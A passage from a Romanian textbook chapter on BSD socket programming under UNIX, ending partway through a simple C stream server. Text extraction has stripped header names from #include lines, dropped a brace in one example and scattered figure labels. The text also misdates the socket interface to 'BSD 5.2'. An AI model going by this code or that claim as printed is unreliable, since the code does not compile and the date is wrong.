O problemă de importanţă majoră este identificarea unei gazde. Pentru aceasta se foloseşte DNS 

(Domain Name Service) - o aplicaţie pentru identificarea unui calculator după numele său. Protocolul 

IP identifică în mod unic fiecare calculator folosind un număr (presupus unic) de 4 octeţi. Aceste 

numere sunt însă foarte greu de reţinut, de aceea se preferă asignarea unor denumiri unice pentru 

identificarea gazdelor. De exemplu este mult mai uşor de reţinut adresa hermes.ee.utt.ro decât adresa sa 

IP: 193.226.10.90 

5.2. Programarea aplicaţiilor de comunicare în reţelele UNIX - TCP/IP 

Programele de comunicare în reţea se bazează pe nivelul sesiune al modelului ISO/OSI. 

Comunicarea inter-procese poate implica două procese care nu se află în acelaşi spaţiu de adrese, ci pe 

două calculatoare diferite. Pentru aceasta se foloseşte (după cum am amintit mai sus) în Internet 

modelul TCP/IP. O primă posibilitate este ca o aplicaţie să formeze ea însăşi pachetele de date, să le 

încapsuleze în protocolul de transport dorit (de exemplu TCP, sau UDP), apoi să adauge semnătura IP 

completată cu datele despre destinaţie, pentru a putea transmite direct la dispozitivul de comunicaţie 

(placă de reţea, modem) pachetul cu datele. Această posibilitate este însă de evitat pentru aplicaţiile 

care nu au cerinţe speciale (există aplicaţii care manipulează pachetele de date ce sunt trimise în reţea, 

dar în marea majoritate a cazurilor un asemnea efort nu este necesar. În cazul reţelelor de tip TCP/IP 

aceasta înseamnă utilizarea interfeţei de programare socket. Interfaţa socket reprezintă o modalitate 

generică, independentă de arhitectura hardware sau de protocoalele folosite pentru comunicarea între 

două procese aflate eventual în spaţii de adrese diferite. 

5.2.1. Interfaţa de programare socket - elemente de bază 

La începutul anilor 80 agenţia ARPA (Advanced Research Projects Agency) a demarat un 

proiect in cadrul University of California pentru a porta familia protocoalelor TCP/IP în mediile 

UNIX. O parte a acestui proiect a constituit-o realizarea unei interfeţe de programare care să 

permită aplicaţiilor utilizarea acestor protocoale în transferul informaţiei. Aceasta interfaţa s-a 

numit "interfaţa socket", iar UNIX-ul îmbogăţit cu nucleul de comunicaţie TCP/IP s-a numit iniţial 

BSD UNIX (Berkley Software Distribution UNIX). Interfaţa socket a apărut prima dată pe 

sistemele BSD 5.2, dar acum este disponibilă pe toate sistemele moderne de tip UNIX. Interfaţa nu 

este dedicată unui singur set de protocoale, ci este suficient de generală pentru a suporta diverse 

protocoale. 

Abordarea aleasă pentru realizarea interfeţei a plecat de la ideea reutilizării a cât mai multor 

apeluri sistem deja existente. Acolo unde nu a fost posibil sau acolo unde lucrurile puteau fi privite 

mai simplu s-au introdus câteva apeluri noi. 


Aplicaţie 

(ex. Web Server) 

Berkeley Socket 

Transport Protocol 

(e.g. TCP) 

Network Protocol 

(e.g. IP) 

... 

... 

Socket API 

Bibliotecă de funcţii, structuri de date şi constante 

Astfel Socket este : 

• un API şi nu un protocol de reţea 

• nu este limitat la TCP/IP 

• specific sistemelor UNIX şi platformelor 

compatibile 

Figura 5.1. Interfaţa Socket 

111


Socket-ii UNIX sunt entităţi care poate suporta mai multe interpretări - ei sunt entităţi ce 

există în cadrul unui domeniu de comunicaţie, dar pot fi văzuţi în acelaşi timp şi ca fişiere: pe 

socket se poate realiza scriere, citire, selecţie în aceeaşi manieră în care se fac operaţiile clasice 

asupra fişierelor. 

Operaţia de transfer de informaţie prin intermediul reţelei a fost văzută ca o operaţie de 

intrare/ieşire. Urmând deci modelul operaţiilor de intrare/ieşire, pentru a realiza transferul 

informaţiei este necesar să se obţină o intrare (un descriptor) în tabela de descriptori asociată unui 

proces. Astfel, şi un socket este reprezentat (cunoscut prin sistem) printr-un număr întreg numit 

descriptor de socket, două aplicaţii putând comunica doar după ce fiecărei aplicaţii i s-a alocat câte un 

socket. Exista un număr de descriptori de socket folosiţi de aplicaţiile sistem, restul fiind disponibili 

pentru utilizatori. Acest descriptor este de un tip mai special, el referind informaţia ce caracterizează 

capătul de comunicaţie respectiv: 

Tabela de descriptori: 

0 - stdin 

1 - stdout 

2 - stderr 

... 

x - socket -> familia protocoalelor utilizate, 

tipul comunicaţiei (serviciu) 

Adresa IP locala 

Adresa IP de la distanta 

Număr port local 

Număr port de la distanta 

Socket-ul este un punct final, pentru o comunicaţie, ce poate fi numit şi adresat într-o reţea. Din 

perspectiva unui program de aplicaţie, un socket este o resursă alocată de sistemul de operare. Fiecare 

socket are un tip şi unul sau mai multe procese asociate. Socket-urile există într-un domeniu de 

comunicaţie. Un domeniu de comunicaţie este o abstracţie introdusă pentru a descrie proprietăţile 

comune ale proceselor ce comunică prin socketuri. De exemplu, în domeniul de comunicaţie UNIX, 

socket-urile sunt numite cu ajutorul numelor de fişiere; de exemplu un socket poate fi numit 

"/tmp/foo". Socket-urile în mod normal schimbă date doar cu socket-uri din acelaşi domeniu (se pot 

face traversări de domenii doar dacă există un proces de translatare). Diferitele moduri de adresare 

ale socket-urilor din diferitele domenii de comunicaţie definesc familiile de adrese. Toate host-urile din 

aceeaşi familie de adrese înţeleg şi folosesc aceeaşi schemă pentru adresarea extremităţilor socket-ului. 

O asemenea familie de adrese este AF_INET, familie ce defineşte adresarea în domeniul Internet. Pe 

lângă acest tip de familie, sistemul UNIX mai recunoaşte şi alte tipuri, cum ar fi AF_UNIX, care 

reprezintă modul de adresare specific acestor sisteme. 

Interfaţa socket ascunde utilizatorului detaliile reţelei fizice, stiva de protocoale utilizată, ea 

fiind caracterizată de serviciile pe care le asigură. 

Prezentăm o listă cu cele mai utilizate funcţii sistem implicate în gestiunea entităţilor socket. 

În subcapitolele următoare vom detalia modul lor de folosire, iar apoi va fi prezentată o aplicaţie 

client-server minimală pentru demonstrarea facilităţilor prezentate. 


Primitivă Semnificaţie Destinaţie 

socket() Deschide un nou capăt de comunicaţie Client şi Server 

connect() Încercare de stabilire a conexiunii Client 

bind() Ataşează o adresă locală la un socket Server 

112



listen() Socket-ul poate accepta conexiuni noi Server 

accept() Blocarea până la sosirea unei cereri de conectare Server 

send() Trimite date prin socket Client şi Server 

receive() Primeşte date din socket Client şi Server 

shutdown() Opreşte unidirecţional o legătură de comunicaţie Client şi Server 

close() Se închide definitiv conexiunea şi descriptorul de 

socket 

Client şi Server 

În cele ce urmează vom încerca o detaliere a funcţiilor sistem. Prezentarea este general 

valabilă pentru toate versiunile de interfaţă BSD socket compatibile cu definiţia 4.4BSD. 

5.2.1.1 Primitiva socket() 

Dacă în cazul fişierelor obţinerea unui descriptor de fişier se realizează prin apelul open(), 

în cazul comunicaţiei prin sockeţi obţinerea unui astfel de descriptor se realizează prin intermediul 

apelului socket(): 

#include 

#include 

int socket(int domeniu, int tip, int protocol) 

unde 

- domeniu reprezintă familia protocoalelor pe care urmează să le utilizăm în transferul informaţiei. 

Valori uzuale : 

• PF_UNIX, PF_LOCAL - pentru comunicaţia locală UNIX ( comunicaţie prin intermediul unor 

fişiere UNIX de un tip special). 

• PF_INET - utilizat pentru comunicaţii folosind protocolul IPv4, fie local, fie la distanţă. 

• PF_INET6 - utilizat pentru comunicaţia folosind protocolul IPv6. 

• PF_NS - protocoale Xerox Network Systems. 

• PF_IPX - utilizat pentru protocoalele bazate pe IPX - Novell Netware. 

• PF_NETLINK - utilizat pentru comunicaţia dintre kernelul Linux şi programele utilizator. 

Acest tip de socket poate fi folosit pentru interogarea şi modificarea tabelelor de rutare, pentru 

primirea pachetelor trimise de codul de firewall IPv4, pentru gestionarea tabelului ARP, etc. 

• PF_X25 pentru protocoalele ITU-T X.25 / ISO-8208 

• PF_AX25 pentru protocolul de radio-comunicaţie AX.25 

• PF_ATMPVC pentru comunicarea cu dispozitive mobile folosind Asynchronous Transfer 

Mode. 

• PF_APPLETALK pentru comunicarea folosind protocoalele Appletalk DDP şi AARP 

• PF_PACKET pentru accesul direct la driver-ul dispozitivului de comunicaţie (la nivelul 2 din 

modelul OSI). 

- tip indică tipul comunicaţiei (serviciul cerut mediului de comunicaţie). Tipurile curent definite 

sunt: 

• SOCK_STREAM indică stabilirea unei comunicaţii bazată pe construirea unei 

conexiuni între sursă şi destinaţie. Interfaţa socket-ului stream defineşte un serviciu 

orientat pe conexiuni. Comunicaţia este FIFO, fiabilă şi sigură. Datele sunt transmise fără 

erori sau duplicate şi sunt recepţionate în aceeaşi ordine în care au fost transmise. Fluxul de 

date prin reţea este realizat astfel încât să se evite depăşirea unei valori maxime. Nu sunt 

impuse nici un fel de limitări ale formei datelor, care se consideră a fi şiruri de octeţi. 

113



Protocolul ftp, de exemplu, utilizează socket-uri de tip stream. 

Apl. 

3 2 1 

• SOCK_DGRAM indică transferul unor mesaje scurte (datagrame) câtre o anume 

destinaţie. Comunicaţia nu e bazată pe conexiune (de tip NC), este nesigură (uzual se 

implementează un protocol separat pentru a comunica prin intermediul datagramelor). 

Interfaţa socket-ului datagramă defineşte deci un serviciu fără conexiuni în care 

datagramele sunt transmise ca pachete separate. Serviciul fără conexiuni nu asigură garanţia 

recepţionării datelor. Datele pot fi pierdute sau duplicate, iar datagramele pot ajunge în altă 

ordine de secvenţă faţă de aceea în care au fost transmise. Mărimea unei datagrame este 

limitată de numărul de octeţi ce pot fi transmişi într-o singură tranzacţie. Nu se realizează 

nici o dezasamblare şi reasamblare a pachetelor. NFS, de exemplu, este unul dintre 

protocoalele care folosesc socket-uri datagramă. 

Apl. 

3 2 1 

socket 

socket 

• SOCK_RAW permite accesul utilizatorului la protocoalele de comunicaţie inferioare 

care suportă abstractizarea socket-urilor. Aceste socket-uri sunt orientate datagramă, deşi 

caracteristicile lor sunt dependente de interfaţa oferită de protocol. Socket-urile RAW nu 

sunt pentru utilizatorul general. Ele sunt oferite în mod deosebit celor interesaţi în 

dezvoltarea de noi protocoale de comunicaţie sau celor care doresc acces la nişte 

facilitaţi mai rar folosite ale unui protocol existent. 

• SOCK_SEQPACKET permite comunicaţie bidirecţională cu datagrame de lungime 

maximă fixată. La fiecare citire, consumatorul va aduce exact o singură datagramă. Un 

SEQUENCED PACKET, de exemplu, este similar cu STREAM SOCKET cu deosebirea 

că marginile structurilor sunt păstrate. Această interfaţă nu este oferită în domeniile 

UNIX sau Internet. 

• SOCK_RDM, transmisie sigură de datagrame. 

Uzual vom folosi doar primele două modalităţi de transfer. 

Dest. 

- protocol reprezintă un anume protocol din familia de protocoale specificate ca prim argument. 

Interfaţa socket a fost concepută pentru cazul cel mai general în care o familie de protocoale 

dispune de mai multe protocoale între care se poate opta. În cazul utilizării domeniului PF_INET, 

singurul protocol cunoscut este protocolul identificat prin valoarea 0. 

Prefixul PF pentru definirea domeniului provine de la prescurtarea sintagmei Protocol 

Family. Definiţia BSD foloseşte pentru specificarea tipului adreselor pentru socket constante cu 

aceleaşi denumiri prefixate de AF (Address Family). Paginile de manual BSD însă notează faptul că 

D3 

D1 

D2 

114


familia protocolului este în general aceeaşi cu familia adresei, şi în general se foloseşte prefixul AF 

peste tot. 

Valoarea întoarsă de apelul socket() indică descriptorul ce a fost alocat pentru realizarea 

comunicaţiei. Există mai multe situaţii când apelul rutinei socket poate eşua caz în care se 

returnează -1 iar variabila errno conţine codul erorii. Pe lângă situaţiile când nu este memorie 

suficientă (ENOBUFS), crearea unui socket poate eşua datorită cererii unui protocol necunoscut 

(EPROTONOSUPORT), sau cererii unui tip de socket pentru care nu există un protocol 

(EPROTOTYPE). 

De remarcat faptul că din totalitatea caracteristicilor acestui tip de descriptori nu am completat până 

acum decât primele două câmpuri. 

Exemplu: 

int s; 

s = socket(AF_INET, SOCK_STREAM, 0); 

... 

s = socket(AF_UNIX, SOCK_DGRAM, 0); 

Ca o variaţiune pe aceeaşi temă apelul funcţiei socketpair() creează o pereche de socket-uri 

interconectate. Ele pot fi folosite de două procese înrudite. Deoarece socket-urile aparţin 

domeniului de comunicaţie, nu procesului, nu trebuie închişi descriptorii nefolosiţi după fork(). 

Asocierea unei adrese complete locale (adresa IP locala şi număr de port local) se realizează 

prin apelul bind(): 

int bind(int sockfd, struct sockaddr *adresa, int lung_adresa); 

Acest apel asociază descriptorului de tip socket sockfd adresa locală specificată complet în 

câmpurile structurii adresa al cărei pointer este furnizat ca al doilea parametru. Lungimea acestei 

adrese este indicată prin valoarea ultimului parametru lung_adresa. Câmpurile structurii sockaddr 

şi 

apelurile sistem necesare pentru completarea acestora vor fi explicate ulterior. 

Valoarea întoarsă de această funcţie indică succesul apelului (0) sau o eroare (-1) al cărei cod este 

indicat prin valoarea variabilei globale errno. 

Specificarea adresei celuilalt capăt de comunicaţie (adresa completa IP şi numărul portului 

destinaţie) este realizată diferit în funcţie de tipul de comunicaţie specificat la momentul creerii 

descriptorului de socket. 

5.2.2. Specificarea adreselor în apelurile interfeţei socket 

Interfaţa socket a fost proiectată pentru a acoperi cazul cel mai general al comunicaţiei prin 

diferite protocoale, fiecare din acestea având propriul mecanism de identificare a unei maşini, şi 

deci propriul format de adresă. 

Pentru specificarea adresei se foloşeşte un tip de date generic numit sockaddr. Acest tip e folosit 

pentru stocarea datelor pentru orice tip de socket şi e definită după cum urmează: 

typedef unsigned short int sa_family_t; 

struct sockaddr { 

sa_family_t sa_family; 


115


unsigned char sa_data[14]; 

} 

Această structură sockaddr este declarată în fişierul antet sockets.h. 

Valoarea pentru sa_family sunt aceleaşi valori ca la familia protocolului, dar prefixate cu AF în loc 

de PF: AF INET, AF IPX, AF UNIX, AF UNSPEC etc. Câmpul sa_data este diferit pentru fiecare 

familie de adrese. De obicei fiecare familie de adrese defineşte propria sa structură care poate fi 

suprapusă peste structura sockaddr. Pentru fiecare familie de protocoale este definită o structură 

sufixată de tipul protocolului. De exemplu pentru protocolul IP (identificat intern ca familia 

"INET") va fi definită structura sockaddr_in (definiţia sa pe sistemele Linux se găseşte în fişierul 

header ): 

Adresele Internet - formate din 32 de biţi, identifică în mod unic interfaţa de reţea. Un host are atâtea 

adrese Internet câte interfeţe de reţea sunt instalate în calculatorul respectiv. 

Adresa de socket în domeniul Internet este alcatuită din patru câmpuri: familia de adrese 

(AF_INET), o adresă Internet, un port şi un şir de caractere. Structura unei adrese de socket Internet, 

definită prin sockaddr_in este: 

typedef unsigned short int sa_family_t; 

struct in_addr { 

unsigned long int s_addr; 

}; 

struct sockaddr_in { 

sa_family_t sin_family; /* completat cu AF_INET */ 

unsigned short int sin_port; /* portul: 0-65535 */ 

struct in_addr sin_addr; /* adresa IP */ 

unsigned char sin_zero[8];/* completati cu 0 */ 

} 

Analog, pentru diversele protocoale vor exista sockaddr_in6, sockaddr_ipx, sockaddr_x25, 

sockaddr_ax25, etc. 

Câmpul sin_family este setat la AF_INET. Câmpul sin_port este numărul de port folosit de 

aplicaţie. Câmpul sin_addr este adresa Internet a interfeţei de reţea folosite de aplicaţie. Câmpul 

sin_zero trebuie setat iniţial cu valoarea 0. 

O asemenea structură se foloseşte şi pentru specificarea adresei Internet a procesului distant, caz 

în care al doilea câmp va indica numărul portului, iar cel de-al treilea câmp va indica adresa IP a 

maşinii pe care rulează procesul distant. Deşi acest ultim câmp are forma unei structuri, aceasta 

"ascunde" de fapt o variabilă de tip long conţinând în format binar adresa IP respectivă. Cum se 

obţine această adresă, considerând cunoscut doar numele simbolic al maşinii UNIX (ex: "hermes" 

sau "hermes.ee.utt.ro")? 

Apelul sistem: 

struct hostent* gethostbyname(char *name); 

primeşte ca argument acest nume simbolic sub forma unui şir de caractere şi întoarce un pointer la o 

structură ce indică o serie de caracteristici ale maşinii UNIX respective. Această structură e definită 

astfel: #include 


struct hostent { 

char *h_name; 

char **h_aliases; 

int h_addrtype; 

int h_length; 

char **h_addr_list; 

} 

116


Numele maşinii respective, ca şi totalitatea celorlaltor nume sub care ea este cunoscută (alias-uri) 

sunt conţinute în primele două câmpuri ale acestei structuri. Câmpul h_addrtype conţine în cazul 

maşinilor ce au atribuite adrese IP valoarea constantei AF_INET. Câmpul h_length indică lungimea 

binară a tipului de adresa utilizat (în cazul adreselor IP această lungime este de 4 octeţi). 

Ultimul câmp reprezintă un vector de adrese sub care aceasta maşina e recunoscută în reţea. Fiecare 

astfel de adresa este de fapt un şir de h_length octeţi. 

5.2.3. Stabilirea conexiunii 

Este caracteristică doar socket-urilor de tip stream ce oferă servicii orientate pe conexiune. 

Stabilirea conexiunii este de obicei asimetrică. Şi anume unul din cele două procese implicate joacă 

rol de "server" iar celălalt joacă rol de "client". Serverul, când doreşte să-şi ofere serviciile, leagă 

(folosind apelul bind()) un socket la o adresă bine cunoscută asociată cu serviciul şi apoi să 

"asculte", în mod pasiv, pe acel socket cererile ce provin de la clienţi. Mai mult decât atât, în timp 

ce serverul este ocupat cu tratarea unei cereri, există posibilitatea de a întârzia cererile ce provin de 

la alţi clienţi într-o coadă de aşteptare. Este posibil ca un proces necunoscut să se întâlnească cu 

serverul. Clientul cere serviciile serverului iniţiind o conexiune cu socket-ul serverului. Clientul 

foloseşte apelul connect() pentru a iniţia conexiunea. In domeniul Internet se apelează cu sintaxa: 


struct sockaddr_in server; 

... 

connect(s, (struct sockaddr *)&server, sizeof (server)); 

unde structura server trebuie să conţină adresa Internet şi numărul de port al serverului cu care 

procesul client doreşte să comunice. Dacă socket-ul clientului este nelegat la momentul apelului, 

sistemul va selecta automat şi va lega un nume socket-ului, dacă este necesar. Acesta este modul 

obişnuit de legare a adreselor locale la un socket. 

O eroare este returnată dacă conexiunea nu a reusit. (orice nume legat automat de sistem 

rămâne totuşi). Altfel, socket-ul este asociat cu serverul şi transferul de date poate începe. Câteva 

din cele mai obişnuite erori de conexiune sunt: 

ETIMEDOUT 

După nereuşirea stabilirii conexiunii pentru o perioadă de timp, sistemul consideră că nu mai 

are rost să mai încerce. Acesta apare de obicei ca urmare a faptului că maşina destinaţie nu este 

activ, sau reţeaua are probleme. 

ECONNREFUSED 

Hostul refuză serviciul. Aceasta poate fi datorită faptului că nu există un proces server la 

adresa specificată. 

ENETDOWN sau EHOSTDOWN 

Aceste erori sunt returnate pe baza informaţiilor de stare întoarse clientului de serviciile de 

comunicaţie inferioare. 

ENETUNREACH sau EHOSTUNREACH 

Aceste erori pot apare fie datorită necunoaşterii hostului sau reţelei, sau nu există ruta până 

acolo. 

În general socket-urile pentru protocoalele orientate pe conexiune se pot conecta o singură 

dată. Pentru protocoalele neorientate pe conexiune se pot conecta de mai multe ori pentru a-şi 

schimba asocierea. Socket-urile fără conexiune pot termina o asociere conectându-se la o adresă cu 

membrul sa_family completat cu valoarea AF_UNSPEC. 

117


Pentru ca serverul să primească o conexiune a unui client, trebuie să facă încă doi paşi după 

ce şi-a legat adresa locală de socket. Primul pas este să indice dorinţa de a asculta cererile de 

conexiune: 


listen(s, nrconn); 

Al doilea parametru al apelului listen() specifică numărul maxim de conexiuni ce pot aştepta 

acceptarea de server; acest număr poate fi limitat de sistem. Dacă o conexiune este cerută când 

coada este plină, aceasta nu va fi rejectată, dar mesajele cererii vor fi ignorate. Acest lucru oferă 

serverului timp pentru rezolvarea cererilor din coadă, în timp ce clientul reîncearcă să se conecteze. 

Dacă apelul connect() întoarce eroarea ECONNREFUSED, clientul nu va şti dacă serverul este 

pornit sau nu. 

Valoarea întoarsă reprezintă succesul (0) sau eşecul (-1) operaţiei. 

Odată lungimea cozii specificate, server-ul se poate pune în aşteptarea unei cereri prin intermediul 

apelului accept(): 

struct sockaddr_in from; 

... 

fromlen = sizeof (from); 

newsock = accept(s, (struct sockaddr *)&from, &fromlen); 

Acest apel provoacă blocarea execuţiei server-ului până în momentul recepţionării unei cereri (unui 

mesaj) transmis de către un proces client. În acest moment, un socket separat este creat local, el 

urmând să servească comunicaţiei server -> client. Un nou descriptor de socket este returnat. Dacă 

serverul doreşte să afle care este clientul, poate oferi un buffer pentru numele clientului. Parametrul 

valoare-rezultat fromlen este iniţializat de server pentru a indica cât spaţiu este asociat cu structura 

from, apoi modificat la return reflectând dimensiunea reala a numelui. Dacă nu interesează numele 

clientului, al doilea parametru poate fi un pointer nul. 

În mod normal apelul accept() se blochează sau până când o conexiune este disponibilă sau 

până când procesul primeşte un semnal (signal). Mai mult, nu se poate indica dorinţa de conectare 

doar cu anumiţi clienţi. Acest lucru trebuie să-l rezolve utilizatorul inspectând adresa clientului şi 

închizând conexiunea dacă nu îi convine. 

5.2.4. Transferul de date 

Odată stabilită conexiunea, se poate face transferul de date. Pentru a trimite sau recepţiona 

date există mai multe posibile apeluri. Cum fiecare capăt al conexiunii este bine ancorat, utilizatorul 

poate trimite sau recepţiona mesaje fără să mai specifice adresa destinaţie. În acest caz se pot folosi 

apelurile read() şi write(): 

write(s, buf, sizeof (buf)); 

read(s, buf, sizeof (buf)); 

Pe lângă read() şi write() se pot folosi noile apeluri send() şi recv(): 

send(s, buf, sizeof (buf), flags); 

recv(s, buf, sizeof (buf), flags); 

Deşi send() şi recv() sunt virtual identice cu read() şi write(), parametrul suplimentar flags este 

important. Aceste flaguri sunt definite în . Dacă flags este diferit de zero, el poate fi: 

• MSG_OOB se cere transmisia/recepţia datelor out-of-band pentru socket-urile care suportă 

118


această opţiune. 

• MSG_PEEK cere recepţia datelor din coadă fără a le elimina din coada de aşteptare. Când 

MSG_PEEK este folosit într-un apel recv(). orice mesaj prezent este returnat, dar tratat ca încă 

'necitit'. Adică următorul recv() sau read() pe acel socket va întoarce acelaşi mesaj. 

• MSG_WAITALL cere ca operaţiunea să se blocheze până când o cerere este complet 

satisfăcută. 

• MSG_TRUNC pentru returnarea valorii adevărate a pachetului (opţiune doar pentru socket-urile 

ce operează cu pachete, nu cu flux de date. 

• MSG_NOSIGNAL este dezactivată opţiunea ca la închiderea conexiunii de la celălalt capăt, 

procesul curent să primească semnalul SIGPIPE. 

• MSG_DONTROUTE Pentru a trimite numai hosturilor cu care hostul este direct conectat 

(opţiunea e folosită de obicei doar pentru programele de diagnoză, sau programele de rutare). 

• MSG_DONTWAIT activează modul de lucru neblocant ( acelaşi efect îl are şi indicatorul 

O_NONBLOCK setat cu fcntl() ) 

• MSG_CONFIRM este un indicator apărut de la versiunea 2.3 a nucleului Linux: se confirmă 

nivelului de legătură succesul operaţiei de înaintare a pachetului (IP-forwarding). Dacă nivelul 

de legătură nu înţelege aceasta de obicei reverifică identitatea vecinului (de exemplu prin ARP). 

Numai socket-urile SOCK_DGRAM şi SOCK_RAW sunt valide, şi momentan sunt 

implementate doar pentru IPv4 şi IPv6. 

Exemplu de transmitere-receptie date pe un socket conectat 


int bytes_sent; 

int bytes_received; 

char data_sent[256]; 

char data_received[256]; 

int send(int socket, char *buf, int buflen, int flags); 

int recv(int socket, char *buf, int buflen, int flags); 

int s; 

… 

bytes_sent=send(s,data_sent,sizeof(data_sent),0); 

bytes_received=recv(s,data_received,sizeof(data_received),0); 

5.2.5 Închiderea socket-urilor 

Odată ce un socket nu mai interesează, poate fi închis, aplicând un apel close() desciptorului 

de socket. 

close(s); 

Dacă un socket de tip stream are date asociate atunci când este închis, sistemul va mai încerca o 

perioadă să le transfere. 

Totuşi, după o perioadă de timp destul de lungă, dacă datele sunt în continuare netransferate, vor fi 

descărcate. Dacă un utilizator nu mai are nevoie de nici un mesaj în aşteptare, poate apela 

shutdown() pe acel socket înainte să-l închidă. 

shutdown(s, how); 

unde how este 0 dacă nu mai interesează citirea datelor, 1 dacă nu se mai trimit date sau 2 dacă nu 

se mai trimit şi nu se mai citesc date. 

119


5.2.6. Socketuri fără blocare 

Câteodată este nevoie să folosim socket-uri care nu se blochează; adică cererile de I/O care 

nu se pot întoarce imediat şi care ar suspenda procesul în aşteptarea terminării lor nu sunt executate 

şi întorc un cod de eroare. Un socket creat cu apelul socket() poate fi marcat ca non-blocking astfel: 

#include 

... 

int s; 

... 


... 

if (fcntl(s, F_SETFL, O_NONBLOCK) < 0) 

perror("fcntl"); 

exit(1); 

} 

... 

Lucrul cu socket-uri non-blocking se face în felul următor: apelurile care ar trebui să se 

blocheze se întorc imediat cu eroare (intorc -1) şi cu codul de eroare EWOULDBLOCK în variabila 

globală errno. 

5.2.7. Multiplexare Sincrona I/O - apelul de sistem select() 

Această funcţie este oarecum ciudată, dar foarte utilă. Să considerăm, de exemplu, 

următoarea situaţie: un server vrea să asculte cereri de conectare şi să citească în continuare de pe 

conexiunile pe care deja le are. Nu este nici o problemă, am putea spune, doar un accept() şi câteva 

recv()-uri. Însă ce facem dacă serverul este blocat pe un apel accept() ? Cum mai primeşte date cu 

recv() în acelaşi timp ? "Foloseşte un socket non-blocabil!" - Nu e o soluţie eficientă! Consumă 

mult timp procesor nefăcând practic nimic. 

select() permite controlul a mai mulţi sockeţi în acelaşi timp. El va spune care este gata de citire, 

care este gata de scriere, şi care socket a întalnit excepţii. 

Sintaxa funcţiei select() este: 

#include 

#include 

#include 

int select(int numfds, fd_set *readfds, fd_set *writefds, 

fd_set *exceptfds, struct timeval *timeout); 

Funcţia controlează seturi de descriptori de fişiere; în particular readfds, writefds, şi exceptfds. Dacă 

dorim să vedem dacă se poate citi de la standard input şi un descriptor de socket, sockfd, trebuie 

doar să adaugăm descriptorii de fişiere 0 şi sockfd la setul de readfds. Parametrul numfds va trebui 

setat la valoarea celui mai mare descriptor plus unu. În acest exemplu, ar trebui setat la sockfd+1, 

din moment ce cu siguranţă este mai mare decât standard input (0). 

Când select() returnează, readfds va fi modificat pentru a reflecta care dintre descriptorii de fişiere 

este gata de citire. Acesta poate fi testat cu macroul FD_ISSET(), după cum se va vedea mai jos. 

Fiecare set este de tipul fd_set. Următoarele macrouri operează cu acest tip: 

• FD_ZERO(fd_set *set) - curăţă setul de descriptori de fişiere 

• FD_SET(int fd, fd_set *set) - adaugă fd la set 

• FD_CLR(int fd, fd_set *set) - şterge fd din set 

• FD_ISSET(int fd, fd_set *set) - testează să vadă dacă fd este în set 

Există, de asemenea, o structură de temporizare, denumită struct timeval. Această structură de timp 


120


permite specificarea unei perioade de timeout. Dacă timpul a fost depăşit iar select() înca nu a găsit 

pregătit nici un descriptor de fişier, se va întoarce pentru ca să poată continua procesarea. 

Structura struct timeval are următoarele câmpuri: 

struct timeval { 

int tv_sec; /* seconds */ 

int tv_usec; /* microseconds */ 

}; 

Trebuie doar setat tv_sec la numărul de secunde pe care trebuie să le aştepte, iar tv_usec la numărul 

de microsecunde pe care trebuie să le aştepte. 

De asemenea, când funcţia iese, timeout poate fi împrospătată pentru a arăta timpul care a mai 

rămas. Aceasta depinde de versiunea de Unix pe care ruleaza programul. 

Un lucru de interes: dacă se setează câmpurile în struct timeval la 0, select() va ieşi imediat, tăind 

toţi descriptorii din set. Dacă se setează parametrul timeout la NULL, funcţia nu va mai ieşi 

niciodată, ci va aştepta până când primul descriptor este gata. 

Urmatoarul fragment de cod aşteaptă 2.5 secunde ca ceva să se întample la standard input (select.c): 

#include 

#include 

#include 

#define STDIN 0 /* file descriptor for standard input */ 

main() 

{ 

struct timeval tv; 

fd_set readfds; 

tv.tv_sec = 2; 

tv.tv_usec = 500000; 

FD_ZERO(&readfds); 

FD_SET(STDIN, &readfds); 

/* don't care about writefds and exceptfds: */ 

select(STDIN+1, &readfds, NULL, NULL, &tv); 

if (FD_ISSET(STDIN, &readfds)) 

printf("A key was pressed!\n"); 

else 

printf("Timed out.\n"); 

} 

5.3. Comunicaţii orientate pe conexiune prin socket stream 

Cea mai simplă modalitate de comunicaţie prin sockeţi stream este: 

Server Client 

---------------------------------------------s 

= socket(..); s = socket(..); 

bind(s, adresa_A, ..); 

listen(s,..); 

t=accept(s,*adresa_client, *lung_adr); 

../*server-ul e blocat*/ 

connect(s, adresa_A,..); 

/*server-ul e deblocat, t reprezinta 

socket-ul de legatura cu clientul */ 

write(s,...); 

read(t,..); 

write(t,...); 

read(s,...); 

/* transfer repetat de informatie server client */ 

close(t); close(s); 

/*accept-ul poate fi reluat pentru 


121


a trata cererile altor clienti */ 

Acest scenariu este prezentat în figură: 

Exemplu: 


Server Client 

socket() 

bind() 

listen() 

accept() 

send/recv() 

close() 

Figura 5.2. Scenariu client/server cu Socket de tip stream 

socket() 

connect() 

recv/send() 

close() 

a) Un server stream simplu 

Tot ceea ce face acest server este să trimită şirul "Hello, World!\n" pe o conexiune stream. Tot ce 

este nevoie pentru a testa acest server este să fie rulat într-o fereastră, iar cu telnet sa se conecteze la 

el un client din altă fereastră: 

$ telnet remotehostname 3490 

unde remotehostename este numele maşinii pe care rulează serverul. 

Codul serverului (tcpserver.c): (Atentie: un backslash la sfarsitul unei linii înseamna că acea linie se 

continuă pe următoarea) 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#define MYPORT 3490 /* the port users will be connecting to */ 

#define BACKLOG 10 /* how many pending connections queue will hold */ 

main() 

{ 

int sockfd, new_fd; /* listen on sock_fd, new connection on new_fd */ 

struct sockaddr_in my_addr; /* my address information */ 

struct sockaddr_in their_addr; /* connector's address information */ 

int sin_size; 

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 

perror("socket"); 

exit(1); 

} 

my_addr.sin_family = AF_INET; /* host byte order */ 

122


my_addr.sin_port = htons(MYPORT); /* short, network byte order */ 

my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */ 

bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */ 

if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) \ 

== -1) { 

perror("bind"); 

exit(1); 

} 

if (listen(sockfd, BACKLOG) == -1) { 

perror("listen"); 

exit(1); 

} 

while(1) { /* main accept() loop */ 

sin_size = sizeof(struct sockaddr_in); 

if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \ 

&sin_size)) == -1) { 

perror("accept"); 

continue; 

} 

printf("server: got connection from %s\n", \ 

inet_ntoa(their_addr.sin_addr)); 

if (!fork()) { /* this is the child process */ 

if (send(new_fd, "Hello, world!\n", 14, 0) == -1) 

perror("send"); 

close(new_fd); 

exit(0); 

} 

close(new_fd); /* parent doesn't need this */ 

